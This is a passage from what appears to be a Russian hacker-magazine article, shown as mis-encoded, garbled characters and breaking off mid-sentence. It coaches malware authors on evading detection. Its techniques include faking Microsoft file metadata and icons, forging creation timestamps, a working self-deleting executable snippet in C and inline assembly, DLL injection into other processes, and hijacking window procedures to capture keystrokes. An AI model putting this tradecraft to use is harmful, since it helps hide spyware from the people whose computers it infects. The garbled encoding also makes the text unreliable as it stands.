îáû÷íî: íåêîòîðûå ïðèëîæåíèÿ íå çàïóñêàþòñÿ,
òå æå, ÷òî çàïóñêàþòñÿ — ðàáîòàþò óæàñòíî ìåä-
ëåííî, íà ýêðàí ÷àñòî âûïðûãèâàþò ñîîáùåíèÿ î
êðèòè÷åñêèõ îøèáêàõ, âïëîòü äî ïîëíîãî âûïàäå-
íèÿ â ãîëóáîé ýêðàí ñìåðòè. Âîò òóò-òî æåðòâà è
íà÷èíàåò ëèõîðàäî÷íî óñòàíàâëèâàòü ðàçëè÷íûå
àíòèâèðóñû, áðàíäìàóýðû è ïðî÷èå ñòîðîæåâûå
ïðîãðàììû, ïðèçâàííûå «íàéòè-è-óíè÷òîæèòü». 
À åñëè íè÷åãî íå ïîìîãàåò, òî ïîëüçîâàòåëü ïðî-
ñòî ôîðìàòèðóåò âèíò è ïîëíîñòüþ ïåðåóñòàíà-
âëèâàåò îïåðàöèîííóþ ñèñòåìó.

×åì êîððåêòíåå âåäåò ñåáÿ ìàëâàðü, òåì
áîëüøå ó íåãî øàíñîâ îñòàòüñÿ íåçàìå÷åííûì. 
À äëÿ ýòîãî ïðîãðàììà äîëæíà áûòü òùàòåëüíî
ïðîòåñòèðîâàíà, ïðè÷åì íà ðàçíûõ ïðîöåññîðàõ!
Òî, ÷òî ìãíîâåííî âûïîëíÿåòñÿ íà ìîùíûõ ïðîöåñ-
ñîðàõ òèïà Pentium-4, çà÷àñòóþ âûçûâàåò 100% çà-
ãðóçêó ïðîñòåíüêèõ Pentium-II/III, ñ ñóùåñòâîâàíèåì
êîòîðûõ òàê æå ïðèõîäèòñÿ ñ÷èòàòüñÿ.

èçëèøíÿÿ ññëîæíîñòü. ×åì ñëîæíåå ìåõà-
íèçì, òåì áîëüøå âðåìåíè îí òðåáóåò äëÿ ñâîåãî
ñîçäàíèÿ è îòëàäêè, à êîíåö ó âñåõ îäèí. Êàê
òîëüêî ìàëâàðü çàìå÷àþò — åå òóò æå çàíîñÿò â
àíòèâèðóñíóþ áàçó è çëîðàäíî ïðèáèâàþò. Íàä
ýòèì öåëàÿ èíäóñòðèÿ ðàáîòàåò, âåðáóþùàÿ îò-
íþäü íå ãëóïûõ ëþäåé. Èçâåñòíû ñëó÷àè (è èõ äî-
ñòàòî÷íî ìíîãî), êîãäà âèðóñ, ðàçðàáàòûâàåìûé
ãîäàìè (!), ïàëèëñÿ àíòèâèðóñíîé ïðîöåäóðîé,
ñîçäàííîé ìåíüøå, ÷åì çà äåíü.

Òåõíîëîãèÿ îòëîâà ïîëèìîðôèêîâ óæå äàâ-
íî îòðàáîòàíà. Ïðîäâèíóòûå àíòèâèðóñû (AVP,
Dr.WEB) ïðîïóñêàþò ïðîâåðÿåìûé êîä ÷åðåç ýìó-
ëÿòîð è ãîíÿò åãî íà ãðàôû, ïðèâîäÿ ê òîìó èëè
èíîìó ìåòàÿçûêó, îòðàæàþùåìó ñóòü ïðîãðàììû,
íî íå ñïîñîá åå äîñòèæåíèÿ. Ïîýòîìó äàæå ñàìûå
êðóòûå ïîëèìîðôèêè ãàñíóò êàê áû÷êè â ïèññóà-
ðå, âåäü èçìåíèòü çàëîæåííûé â íèõ àëãîðèòì
îíè íå â ñèëàõ.

Èíòåëëåêòóàëüíî íå îòÿãîùåííûå èãðîêè àí-
òèâèðóñíîãî ðûíêà ïðîñòî ðàçìíîæàþò ïîëèìîð-
ôèê â îãðîìíîì êîëè÷åñòâå ýêçåìïëÿðîâ (îò 10
òûñÿ÷ è áîëåå), óäàëÿþò âñå ïîâòîðû, à îñòàâøèå-
ñÿ çàíîñÿò â áàçó (âîò ïî÷åìó äëÿ ëîâëè ìíîãèõ
âèðóñîâ Norton'ó ïîä÷àñ òðåáóåòñÿ ñîòíè çàïèñåé).
Óæå íèêòî íå àíàëèçèðóåò ìàëâàðü è íå ïîòðîøèò
åå äèçàññåìáëåðîì, íó, ðàçâå ÷òî ñàìûå ïîïóëÿð-
íûå ýêçåìïëÿðû. À äëÿ ïîäàâëÿþùåãî áîëüøèí-

ñòâà îñòàëüíûõ àíòèâèðóñíûå ýíöèêëîïåäèè äàþò
êðàéíå íåâíÿòíûå îïèñàíèÿ. Çàãëÿíè äëÿ ñðàâíå-
íèÿ â ýíöèêëîïåäèè äåñÿòè-ïÿòíàäöàòèëåòíåé
äàâíîñòè. Êàêèå òàì áûëè îïèñàíèÿ! Ïî íåñêîëüêî
ñòðàíèö, ñ ôðàãìåíòàìè äèçàññåìáëåðíûõ ëè-
ñòèíãîâ — êðàñîòà!

Íî ñòîèò ëè óïîäîáëÿòüñÿ Microsoft, ñòðå-
ìèòüñÿ ê êðóòîñòè ðàäè êðóòèçíû è óñëîæíÿòü ìàë-
âàðü áåç íóæíû? Çà÷åì ðàçðàáàòûâàòü íàâîðî-
÷åííûå ìåõàíèçìû, êîãäà è ïðîñòûå íåïëîõî ðà-
áîòàþò. Ïðàâèëî ñàìîëåòà (airplane rule) ãëàñèò,
÷òî «ñëîæíîñòü óâåëè÷èâàåò âåðîÿòíîñòü ïîëîì-
êè: äâóõìîòîðíûé ñàìîëåò ïî ñðàâíåíèþ ñ îäíî-
ìîòîðíûì èìååò, ïî êðàéíåé ìåðå, âäâîå áîëüøå
ïðîáëåì ñ äâèãàòåëÿìè». 

ÏÐÎÑÒÎÉ ÏÐÈÌÅÐ. ÑÐÀÂÍÅÍÈÅ API ÎÏÅÐÀÖÈÎÍ-

ÍÛÕ ÑÈÑÒÅÌ WINDOWS È UNIX .  ÑËÎÆÍÓÞ ÑÈÑÒÅÌÓ

ÌÎÆÅÒ ÏÐÈÄÓÌÀÒÜ ÊÀÆÄÛÉ ÄÓÐÀÊ, ÍÎ ÒÎËÜÊÎ ÃÅÍÈÉ

ÑÓÌÅÅÒ ÓËÎÆÈÒÜ ÂÅÑÜ ÍÅÎÁÕÎÄÈÌÛÉ ÔÓÍÊÖÈÎ-

ÍÀË Â ÌÈÍÈÌÓÌ ÑÒÐÎÊ ÊÎÄÀ, ÐÅÀËÈÇÎÂÀÒÜ È ÎÒËÀ-

ÄÈÒÜ ÊÎÒÎÐÛÅ ÓÆÅ ÍÅ ÑÎÑÒÀÂÈÒ ÁÎËÜØÎÃÎ ÒÐÓÄÀ.

õâîñò èè óóñû —— ââîò ììîè ääîêóìåíòû. Ïî íåïî-
íÿòíîé, ìîæíî äàæå ñêàçàòü, ìèñòè÷åñêîé ïðè÷è-
íå ïîäàâëÿþùåå áîëüøèíñòâî ìàëâàðå-ïèñàòå-
ëåé íå çàïîëíÿþò ñåêöèþ ðåñóðñîâ, îïèñûâàþ-

ùóþ ñâîéñòâà ôàéëà, ÷òî îòîáðàæàåòñÿ «ïðîâîä-
íèêîì» â îäíîèìåííîé âêëàäêå. Íîðìàëüíûå êîì-
ìåð÷åñêèå ïðîãðàììû òàê ñåáÿ íå âåäóò (äëÿ íèõ
ýòî áîëüøàÿ ðåäêîñòü), ïîýòîìó ìàëâàðü òóò æå
ïàëèò ñåáÿ. Âðÿä ëè ïðîäâèíóòûé ïîëüçîâàòåëü
ñîãëàñèòñÿ çàïóñêàòü ôàéë «áåç äîêóìåíòîâ».
Åñëè æå ìàëâàðü âíåäðÿåòñÿ îáõîäíûì ïóòåì, íà-
ïðèìåð, ÷åðåç äûðó â Windows èëè ïîäïóùåííóþ ê
êîìïüþòåðó æåíùèíó (à æåíùèíû èìåþò òåíäåí-
öèþ çàïóñêàòü âñå áåç ðàçáîðà), òî óòèëèòû òèïà
Anti-Spy.Info òóò æå âíåñóò òàêèå ôàéëû â ñïèñîê
ïîäîçðåâàåìûõ.

Çàïîëíÿòü «áëàíê» ñâîéñòâ ëó÷øå íå àáû
êàê, à ïî îáðàçó è ïîäîáèþ Microsoft. Åå æå è ñòà-
âèòü â êà÷åñòâå êîìïàíèè-ðàçðàáîò÷èêà :). Èñ-
ïîëüçîâàòü âûìûøëåííûå êîìïàíèè êðàéíå íå-
æåëàòåëüíî, ïîñêîëüêó áåãëûé ïîèñê googl'îì òóò
æå ðàçîáëà÷àåò îáìàí. Ïðèêðûâàòüñÿ áðåíäàìè
òèïà ATI òîæå ðèñêîâàííî. Âäðóã ÷åëîâåê ïðåäïî-
÷èòàåò Matrox — âîò îí áóäåò íåäîóìåâàòü, îòêóäà 
ó íåãî âçÿëàñü ýòà ãàäîñòü íà åãî êîìïüþòåðå :). 
À ôàéëû îò Microsoft åñòü ó âñåõ, è íèêòî íå ìîæåò
ñêàçàòü, ñêîëüêî èõ, è çà÷åì îíè íóæíû.

Äðóãîé òîíêèé ìîìåíò — èêîíêà. Ãîëûé èñ-
ïîëíÿåìûé ôàéë, èçîáðàæàþùèé èç ñåáÿ «ñòàí-
äàðòíîå ïðèëîæåíèå Windows», ïðèâëåêàåò ê ñå-
áå íàìíîãî áîëüøå âíèìàíèÿ ÷åì... ìîðêîâêà.
Èëè ðåäèñêà! Äà ÷òî óãîäíî, òîëüêî ëó÷øå íå èç
ñòàíäàðòíîãî íàáîðà çíà÷êîâ, âõîäÿùèõ â ñîñòàâ
Microsoft Visual Studio — îïûòíûì ïîëüçîâàòåëåì
îíè õîðîøî èçâåñòíû. Íàäåæíåå âçÿòü ÷òî-òî ñî-
âåðøåííî íåîæèäàííîå, òóò âñå îò âîîáðàæåíèÿ 
è ôàíòàçèè çàâèñèò.
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Îáû÷íî ó ìàëâàðè íåò âêëàäêè «âåðñèÿ» (íå çàïîëíåí ðàçäåë VersionInfo)

ÒÎÍÊÈÉ ÌÎÌÅÍÒ — ÈÊÎÍÊÀ. ÃÎËÛÉ ÈÑÏÎËÍßÅÌÛÉ ÔÀÉË, 
ÈÇÎÁÐÀÆÀÞÙÈÉ ÈÇ ÑÅÁß «ÑÒÀÍÄÀÐÒÍÎÅ ÏÐÈËÎÆÅÍÈÅ WINDOWS»,
ÏÐÈÂËÅÊÀÅÒ Ê ÑÅÁÅ ÍÀÌÍÎÃÎ ÁÎËÜØÅ ÂÍÈÌÀÍÈß ×ÅÌ... ÌÎÐÊÎÂÊÀ.
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äàòà ññîçäàíèÿ ôôàéëà. Øòàòíûì îáðàçîì
Windows ïîääåðæèâàåò òðè äàòû, ñâÿçàííûå ñ
êàæäûì ôàéëîì — äàòà ñîçäàíèÿ, äàòà ìîäèôè-
êàöèè (äîñòàâøàÿñÿ åé â íàñëåäñòâî îò MS-DOS) è
äàòà ïîñëåäíåãî äîñòóïà. Ïðè ñîçäàíèè ôàéëà íà
äèñêå åìó àâòîìàòè÷åñêè ïðèñâàèâàåòñÿ òåêóùàÿ
äàòà ñîçäàíèÿ, ÷òî ïîçâîëÿåò ëåãêî èçîáëè÷èòü
íåïðîøåíóþ çàðàçó. Ïðîñòî çàõîäèøü â êàòàëîã
WINNT\System32 ñâîèì ëþáèìûì FAR'îì, æìåøü
<CTRL-F8> è ôàéëû, ñîçäàííûå ïîñëåäíèìè, îêà-
çûâàþòñÿ íàâåðõó...

Óìíàÿ ìàëâàðü ïîñòóïàåò òàê. Îíà ñ÷èòûâà-
åò âðåìÿ ñîçäàíèÿ KERNEL32.DLL (èëè ëþáîãî
äðóãîãî ñèñòåìíîãî ôàéëà Windows) è âûçûâàåò
ñòàíäàðòíóþ è ïðèòîì äîêóìåíòèðîâàííóþ API-
ôóíêöèþ SetFileTime, ÷òîáû õîòü êàê-òî çàìàñêè-
ðîâàòüñÿ. 

ïðîòîòèï ôôóíêöèè SSetFileTime, ïïîçâîëÿþùèé 
ëåãàëüíûì îîáðàçîì ììàíèïóëèðîâàòü ññ ääàòîé 
ñîçäàíèÿ ôôàéëà
BOOL SetFileTime

(

HANDLE hFile, // handle to the file

CONST FILETIME *lpCreationTime

// time the file was created

CONST FILETIME *lpLastAccessTime,

// time the file was last accessed

CONST FILETIME *lpLastWriteTime

// time the file was last written

);

Íî òóò åñòü îäèí íþàíñ. Íàñòîëüêî òîíêèé, ÷òî ïî÷-
òè íåçàìåòíûé. Íà NTFS-ðàçäåëàõ ñ êàæäûì ôàé-
ëîì àññîöèèðîâàí ðÿä ñêðûòûõ àòðèáóòîâ, íåäî-
ñòóïíûõ ñòàíäàðòíûì ôóíêöèÿì API è ñðåäè ïðî-
÷åé ïîëåçíîé èíôîðìàöèè õðàíÿùèõ äàòó ñîçäà-
íèÿ äàííîé ôàéëîâîé çàïèñè, ñîâïàäàþùåé ïî
âðåìåíè ñ äàòîé ñîçäàíèÿ ñàìîãî ôàéëà. Ðàñõîæ-
äåíèå â äàòàõ óêàçûâàåò íà ôàêò ïîääåëêè, íå
ñâîéñòâåííûé ÷åñòíûì ïðîãðàììàì è ðàçîáëà÷à-
þùèé «óìíóþ ìàëâàðü». 

Åñëè è áûòü óìíûì, òî äî êîíöà! Èçìåíèâ ïå-
ðåä ñîçäàíèåì ôàéëà ñèñòåìíîå âðåìÿ, à çàòåì
âîçâðàòèâ åãî îáðàòíî, ìàëâàðü îáåñïå÷èò ñåáå
íàèâûñøóþ ñêðûòíîñòü è ïðî÷íî îêêóïèðóåò êîì-
ïüþòåð, íå îïàñàÿñü áûòü çàìå÷åííîé.

íåäîêóìåíòèðîâàííûå ââîçìîæíîñòè. Èñïîëü-
çîâàíèå íåäîêóìåíòèðîâàííûõ âîçìîæíîñòåé
îïðàâäàíî òîãäà è òîëüêî òîãäà, êîãäà áåç íèõ
îáîéòèñü íåâîçìîæíî èëè æå ñîçäàòåëü ìàëâàðè
íà 100% óâåðåí, ÷òî íà âñåõ öåëåâûõ îïåðàöèîí-
íûõ ñèñòåìàõ ýòè âîçìîæíîñòè ðåàëèçîâàíû îäè-
íàêîâî, ÷òî âîâñå íå ôàêò. Äàæå óñòàíîâêà î÷åðåä-
íîãî ïàêåòà îáíîâëåíèÿ ïðèâîäèò ê çíà÷èòåëüíûì
èçìåíåíèÿì â ïîâåäåíèè ÎÑè.

Âîò òîëüêî îäèí ïðèìåð. Ïðè çàïóñêå exe-
ôàéëà äîñòóï ê íåìó áëîêèðóåòñÿ è, åñëè îí âäðóã
çàõî÷åò ñåáÿ óäàëèòü, áåç ïîñòîðîííåé ïîìîùè åìó
ýòî íè çà ÷òî íå ñäåëàòü, ïîñêîëüêó óäàëåíèå ñòàíî-
âèòñÿ âîçìîæíûì òîëüêî ïîñëå ñíÿòèÿ áëîêèðîâêè,

òî åñòü ïîñëå çàâåðøåíèÿ ïðîöåññà. Êîíå÷íî, ìîæ-
íî ñîçäàòü bat-ôàéë, íî òîëüêî ýòî íåêðàñèâî (õîòü
è íàäåæíî). À ìîæíî âîñïîëüçîâàòüñÿ íåäîêóìåíòè-
ðîâàííîé îñîáåííîñòüþ Windows 9x/NT, ïîçâîëÿþ-
ùåé îñâîáîæäàòü ñòðàíè÷íûé îáðàç ôàéëà, òåì ñà-
ìûì ñíèìàÿ ñ íåãî áëîêèðîâêó. Â 9x ýòî äåëàåòñÿ
ôóíêöèåé FreeLibrary, â NT è W2k — UnmapViewOf-
File. Ïðàâäà, âûïîëíåíèå êîäà â îñâîáîæäåííîé
ñåêöèè ñòàíîâèòñÿ íåâîçìîæíûì, è ëþáàÿ ïîïûòêà
îáðàùåíèÿ ê ïðèíàäëåæàùåé åé ïàìÿòè âîçáóæäà-
åò èñêëþ÷åíèå. À íàì åùå DeleteFile è ExitProcess
âûïîëíèòü íàäî. Êàê áûòü? Ïðèõîäèòñÿ, ðàçðûâàÿ
ñåáå çàäíèöó ïîïîëàì, «çàðÿæàòü» ñòåê.

êîä, óóäàëÿþùèé òòåêóùèé ïïðîöåññ
module = GetModuleHandle(0);

GetModuleFileName

(module, buf, MAX_PATH);

if(0x80000000 & GetVersion())

{

//äëÿ Win9x

fnFreeOrUnmap = FreeLibrary;

}

else

{

//äëÿ WinNT

fnFreeOrUnmap = UnmapViewOfFile; 

CloseHandle((HANDLE)4);

}

__asm

{

lea eax, buf

push 0

push 0

push eax

push ExitProcess

push module

push DeleteFile

push fnFreeOrUnmap

ret

}

Ïðîùå ðàñêðóòèòü ãîëîâîëîìêó ñ êîíöà. Î÷åâèä-
íî, ÷òî ret ïåðåäàåò óïðàâëåíèå ïî àäðåñó, êîòî-
ðûé áûë çàíåñåí â ñòåê ïåðåä íèì, òî åñòü âûçûâà-
åò ôóíêöèþ fnFreeOrUnmap, êîòîðîé, â çàâèñèìî-
ñòè îò âåðñèè Windows, îêàçûâàåòñÿ ëèáî FreeLi-
brary, ëèáî UnmapViewOfFile. Ïîëó÷èâ óïðàâëåíèå,
ôóíêöèÿ ñìîòðèò íà ñòåê è äóìàåò: àãà, «DeleteFi-
le» — ýòî àäðåñ âîçâðàòà, à âîò «module» — ýòî
ìîé àðãóìåíò. Îñâîáîäèâ ñòðàíè÷íûé îáðàç, îíà

ïåðåäàåò óïðàâëåíèå ïî àäðåñó âîçâðàòà (íà ìåñòå
êîòîðîãî ëåæèò àäðåñ DeleteFile) è óâåëè÷èâàåò
çíà÷åíèå óêàçàòåëÿ ñòåêà íà 4 (ðàçìåð ïåðåäàí-
íûõ åé àðãóìåíòîâ).

Ïîëó÷èâ óïðàâëåíèå, DeleteFile ñìîòðèò íà
ñòåê è äóìàåò: àãà, «ExitProcess» – ýòî àäðåñ âîç-
âðàòà, à âîò «push eax» — ìîé àðãóìåíò ñ èìåíåì
ôàéëà, êîòîðûé íóæíî óäàëèòü! È âåäü óäàëÿåò,
êàê íè ñòðàííî, ïîñêîëüêó ìîäóëü ê ýòîìó âðåìåíè
óæå îñâîáîæäåí.

Ñëåäóþùåé (è ïîñëåäíåé) óïðàâëåíèå ïîëó-
÷àåò ôóíêöèÿ ExitProcess, çàâåðøàþùàÿ âûïîë-
íåíèå ïðîãðàììû, êîòîðîé óæå íåò.

Ýëåãàíòíî! Íèêàêèõ òåáå âðåìåííûõ bat-
ôàéëîâ è ïðî÷åé äèñêîâîé àêòèâíîñòè (êîòîðóþ,
êñòàòè, ìîãóò çàìåòèòü âñÿêèå íåäðóæåëþáíî íà-
ñòðîåííûå ìîíèòîðû). Íî ðàçâå êòî-íèáóäü ãàðàí-
òèðîâàë (äîêóìåíòàöèÿ èëè ëè÷íî Áèëë Ãåéòñ), ÷òî
UnmapViewOfFile ïîçâîëÿåò îñâîáîæäàòü îáðàç
exe-ôàéëà? Íà NT è W2K ýòî ðàáîòàëî ëèøü ïîòî-
ìó, ÷òî ÿäðî õðàíèëî ññûëêó íà îáðàáîò÷èê îáúåê-
òà-ñåêöèè (íå ïóòàòü ñ ñåêöèÿìè PE-ôàéëà) è Un-
mapViewOfFile ïîñëóøíî åãî îñâîáîæäàëî. Íà÷è-
íàÿ ñ XP, ÿäðî îáðàùàåòñÿ ê îáðàáîò÷èêó ñåêöèè
÷åðåç óêàçàòåëü, îáëàìûâàÿ âûçîâ UnmapViewOf-
File, à âìåñòå ñ íèì âåñü êàéô.

Îòñþäà âûâîä — ðåøåíèå, ïîñòðîåííîå íà
íåäîêóìåíòèðîâàííûõ âîçìîæíîñòÿõ, ìîæåò ðóõ-
íóòü â ëþáîé ìîìåíò. Ïîýòîìó, èñïîëüçóÿ åãî,
íåîáõîäèìî êàê ìèíèìóì ïðåäóñìîòðåòü îáõîä-
íîé ïóòü íà òîò ñëó÷àé, åñëè îíî íå ñðàáîòàåò.

íåçàêîííîðîæäåííûå ïïîòîêè. ×òîáû íå ïî-
ðîæäàòü îòäåëüíûé ïðîöåññ, íåêîòîðàÿ ìàëâàðü
âíåäðÿåòñÿ â îäèí èç óæå ñóùåñòâóþùèõ, ïîðîæ-
äàÿ â íåì ñâîé ïîòîê, ïðè÷åì äåëàåò ýòî íàñòîëü-
êî íåóìåëî, ÷òî ñðàçó æå îáðàùàåò íà ñåáÿ âíèìà-
íèå è ëåãêî îáíàðóæèâàåòñÿ óòèëèòîé «Process
Explorer» Ìàðêà Ðóññèíîâè÷à èëè ëþáûì îòëàä÷è-
êîì (OlyDbg, soft-ice). À âñå ïîòîìó, ÷òî ïàìÿòü, â
êîòîðîé ìàëâàðü ðàçìåùàåò ñâîé êîä, â 99% ñëó-
÷àÿõ âûäåëÿåòñÿ ÷åðåç VirtualAlloc/VirtualAllocEx,
òî åñòü áåðåòñÿ èç äèíàìè÷åñêîé ïàìÿòè, â òî âðå-
ìÿ êàê íîðìàëüíûå ïîòîêè âðàùàþòñÿ â ïðåäåëàõ
îáðàçîâ èñïîëíÿåìûõ ôàéëîâ èëè DLL.

×òîáû õîòü êàê-òî çàìàñêèðîâàòü òîð÷àùèé
èç íîðû õâîñò, ìàëâàðü äîëæíà ïîìåñòèòü ñâîå òå-
ëî â DLL, çàêèíóòü åãî â ñèñòåìíûé êàòàëîã Win-
dows (èëè êóäà-íèáóäü â äðóãîé ìåñòî) è çàãðóçèòü
âíóòðü àòàêóåìîãî ïðîöåññà ÷åðåç LoadLibrary.
Åñòåñòâåííî, äåëàòü ýòî ñëåäóåò èç êîíòåêñòà àòà-
êóåìîãî ïðîöåññà, ïîñêîëüêó íè ñàìà LoadLibrary,
íè åå ðàñøèðåííàÿ âåðñèÿ LoadLibraryEx íå ïðè-
íèìàþò îáðàáîò÷èê ïðîöåññà â êà÷åñòâå îäíîãî èç

Ãîëóáîé ýêðàí ñìåðòè, âûçâàííûé íåêîððåêòíî ñïðîåêòèðîâàííîé ìàëâàðüþ
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ñâîèõ àðãóìåíòîâ. Òî åñòü, ïðåæäå ÷åì çàãðóæàòü
DLL, â ïðîöåññ íåîáõîäèìî êàê-òî âíåäðèòüñÿ.
Ïðîùå âñåãî ýòî ñäåëàòü ÷åðåç óæå óïîìÿíóòóþ
VirtualAllocEx. Âûäåëèòü áëîê â àòàêóåìîì ïðîöåñ-
ñå, ñêîïèðîâàòü òóäà êîä çàãðóç÷èêà è âûçâàòü
CreateRemoteThread, ëèáî ñêîððåêòèðîâàòü êîí-
òåêñò àêòèâíîãî ïîòîêà, ïåðåäàâ çàãðóç÷èêó óïðà-
âëåíèå ïóòåì âûçîâà ôóíêöèè GetThreadContext è
êîððåêöèè ðåãèñòðà EIP.

Ïîëó÷èâ óïðàâëåíèå, çàãðóç÷èê äîëæåí âû-
çâàòü LoadLibrary äëÿ çàãðóçêè ñâîåé DLL, âûçâàòü
CreateThread, óêàçàâ â êà÷åñòâå ñòàðòîâîãî àäðå-
ñà îäíó èç ôóíêöèè äèíàìè÷åñêîé áèáëèîòåêè, ïî-
ñëå ÷åãî «çàìåñòè ñëåäû» — îñâîáîäèòü áëîê ïà-
ìÿòè, âûäåëåííûé VirtualAllocEx, çàâåðøèòü ïî-
òîê, ïîðîæäåííûé CreateRemoteThread (èëè âåð-
íóòü EIP íà ìåñòî). Ïîñêîëüêó ïîñëå îñâîáîæäå-
íèÿ ðåãèîíà ïàìÿòè èñïîëíåíèå îñòàâøåãîñÿ â
íåì êîäà ñòàíîâèòñÿ íåâîçìîæíûì, ìû íå ñìîæåì
âûçâàòü TerminateThread, íå ñõëîïîòàâ èñêëþ÷å-
íèå, åñëè òîëüêî... íå âîñïîëüçîâàòüñÿ ïðèåìîì
èç êîäà, óäàëÿþùåãî òåêóùèé ïðîöåññ (ñìîòðè ëè-
ñòèíãè). Íà ýòîò ðàç îí íå èñïîëüçóåò íèêàêèõ íå-
äîêóìåíòèðîâàííûõ âîçìîæíîñòåé è ïîëíîñòüþ
çàêîíåí, ñîõðàíÿÿ ðàáîòîñïîñîáíîñòü äàæå íà ìà-
øèíàõ ñ âêëþ÷åííûì ìåõàíèçìîì DEP, ïðåïÿò-
ñòâóþùèì âûïîëíåíèþ êîäà â ñòåêå. Îäíàêî íè-
êàêîãî êîäà â ñòåêå ó íàñ íåò! Îäíè ëèøü àäðåñà
âîçâðàòà âìåñòå ñ àðãóìåíòàìè âûçûâàåìûõ
ôóíêöèé. Ïðàâäà, íà 64-áèòíûõ âåðñèÿõ Windows
ýòî óæå íå ñðàáîòàåò, ïîñêîëüêó òàì API-ôóíêöèè
ïðèíèìàþò àðãóìåíòû ÷åðåç ðåãèñòðû è ñòåê îò-
äûõàåò (ðàçóìååòñÿ, ñêàçàííîå îòíîñèòñÿ òîëüêî ê
64-áèòíûì ïðèëîæåíèÿì, ñòàðûå 32-áèòíûå ïðè-
ëîæåíèÿ áóäóò ðàáîòàòü, êàê îáû÷íî).

Êñòàòè, î DEP. Âûäåëÿÿ áëîê ïàìÿòè ñ ïî-
ìîùüþ VirtualAllocEx, ïðèñâîé åìó àòðèáóòû PA-
GE_READWRITE, à ïåðåä ïåðåäà÷åé óïðàâëåíèÿ
ñìåíè íà PAGE_EXECUTE ÷åðåç VirtualProtectEx.
Íà ìàøèíàõ áåç DEP àòðèáóòû PAGE_READ è
PAGE_EXECUTE âçàèìíî ýêâèâàëåíòíû, ïî-
ñêîëüêó ïðîöåññîðû ñòàðîãî ïîêîëåíèÿ ïîääåð-
æèâàëè òîëüêî äâà àòðèáóòà ñòðàíèö: ACCESS
(ñòðàíèöà äîñòóïíà äëÿ ÷òåíèÿ/èñïîëíåíèÿ èëè
íåäîñòóïíà) è write (ñòðàíèöà äîñòóïíà/íåäîñòóï-
íà äëÿ çàïèñè). Àòðèáóò EXECUTE áûë ïðåðîãà-
òèâîé òàáëèö ñåëåêòîðîâ, òî åñòü ñåãìåíòîâ. Âî
âðåìåíà ðàçðàáîòêè 80386 íèêîìó è â ãîëîâó íå
ìîãëî ïðèéòè, ÷òî ìàññîâàÿ îïåðàöèîííàÿ ñèñòå-
ìà ñâåäåò âñå òðè ñåãìåíòà (êîäà, ñòåêà è äàí-
íûõ) â ëèíåéíóþ ïàìÿòü îáùåãî àäðåñíîãî ïðî-
ñòðàíñòâà. Ôàêòè÷åñêè, àòðèáóò PAGE_EXECUTE
áûë âûñîñàí ðàçðàáîò÷èêàìè win32 èç ïàëüöà è
íå ñîîòâåòñòâîâàë ðåàëüíîìó ïîëîæåíèþ âåùåé,
íî ñåé÷àñ âñå èçìåíèëîñü. È õîòÿ ïî óìîë÷àíèþ
DEP âêëþ÷åí òîëüêî äëÿ ñèñòåìíûõ ïðîöåññîâ
(äà è òî íå äëÿ âñåõ), ïðèâûêàòü ê àòðèáóòó PA-
GE_EXECUTE ñëåäóåò óæå ñåé÷àñ. À ïî÷åìó ìû
íå óñòàíîâèëè ñðàçó âñå òðè àòðèáóòà íà ñòðàíè-
öó PAGE_EXECUTE_READWRITE? Âåäü Virtual-
ProtectEx ýòî ïîçâîëÿåò, äà è ïðîöåññîð íå ïðî-

òèâ. Ñåé÷àñ — äà, íèêòî íå ïðîòèâ è íå âîçðàæà-
åò, íî â Microsoft óæå âûíàøèâàåò ïëàíû ïî ñî-
âåðøåíñòâîâàíèþ çàùèòû ñâîåé îñè, è ïîïûòêà
ïðèñâîåíèÿ âñåõ òðåõ àòðèáóòîâ áóäåò ëèáî âû-
çûâàòü èñêëþ÷åíèå, ëèáî òðåáîâàòü ñïåöèàëü-
íûõ ïðèâèëåãèé.

È âñå ðàâíî, ñîçäàíèå äîïîëíèòåëüíîãî
ïðîòîêà — ñëèøêîì çàìåòíî. Ìîæåò ëè ìàëâàðü
áåç íåãî îáîéòèñü? Ìîæåò! È äëÿ ýòîãî ñóùåñòâó-
åò ìíîæåñòâî ïóòåé. Íå âñå èç íèõ âåäóò â ðàé, íî
âñå-òàêè. Ñàìîå ïðîñòîå — âíåäðèâøèñü â àòàêó-
åìûé ïðîöåññ ÷åðåç VirtualAllocEx è çàãðóçèâ
ñâîþ DLL, óñòàíîâèòü òàéìåð, âîñïîëüçîâàâøèñü
API-ôóíêöèåé SetTimer, è ïåðèîäè÷åñêè ïîëó÷àòü
òàéìåðíûå ñîîáùåíèÿ, îáðàáàòûâàÿ èõ â êîíòåê-
ñòå îñíîâíîãî ïîòîêà (òî÷íåå òîãî ïîòîêà, ñ êîòî-
ðûì àññîöèèðîâàí ôîêóñ ââîäà). Íî ýòî óæå òåõ-
íè÷åñêèå äåòàëè, â êîòîðûå ìîæíî íå âäàâàòüñÿ.
Ãëàâíîå, ÷òî íîâûé ïîòîê íå ñîçäàåòñÿ. Ïðàâäà,
îñòàåòñÿ òàéìåð... 

Õèòðàÿ ìàëâàðü äåéñòâóåò î÷åíü ñêðûòíî.
Ïîëó÷èâ äåñêðèïòîð ãëàâíîãî îêíà ïðîãðàììû,
îíà âûçûâàåò API-ôóíêöèþ GetWindowLong ñ ïà-
ðàìåòðîì GWL_WNDPROC, ïîëó÷àÿ àäðåñ îêîí-
íîé ïðîöåäóðû (ãäå ïðîèñõîäèò îáðàáîòêà ñîîá-
ùåíèé) è òóò æå ìåíÿåò åãî íà ñâîé ÷åðåç SetWin-
dowLong. Ýòèì îíà íå òîëüêî ïåðåõâàòûâàåò âñå
ñîîáùåíèÿ (â òîì ÷èñëå ïåðåäâèæåíèÿ ìûøè è

íàæàòèÿ êëàâèø, ÷òî î÷åíü ïîëåçíî äëÿ øïèîí-
ñêîé äåÿòåëüíîñòè), íî è ãàðàíòèðîâàííî îáåñïå-
÷èâàåò ñåáÿ ïðîöåññîðíûì âðåìåíåì, íå ñîçäà-
âàÿ íè òàéìåðîâ, íè íîâûõ ïîòîêîâ. Ïðàâäà, ïûò-
ëèâûé èññëåäîâàòåëü, âîîðóæåííûé soft-ice, ìî-
æåò çàáåñïîêîèòüñÿ: ñ ÷åãî áû ýòî ãëàâíîå îêíî
îáðàáàòûâàåòñÿ êàêîé-òî òàì ïîñòîðîííåé DLL?
Îäíàêî, ïðè êîìïîíåíòîì ïîäõîäå ê ïðîãðàììè-
ðîâàíèþ òàêèå ñëó÷àè äîñòàòî÷íî ÷àñòî âñòðå÷à-
þòñÿ è â ëåãàëüíûõ ïðîãðàììàõ, îñîáåííî åñëè
îíè íàïèñàíû íà DELPHI.

À âîò åùå îäèí ïóòü. Àñèíõðîííûå ñîêåòû —
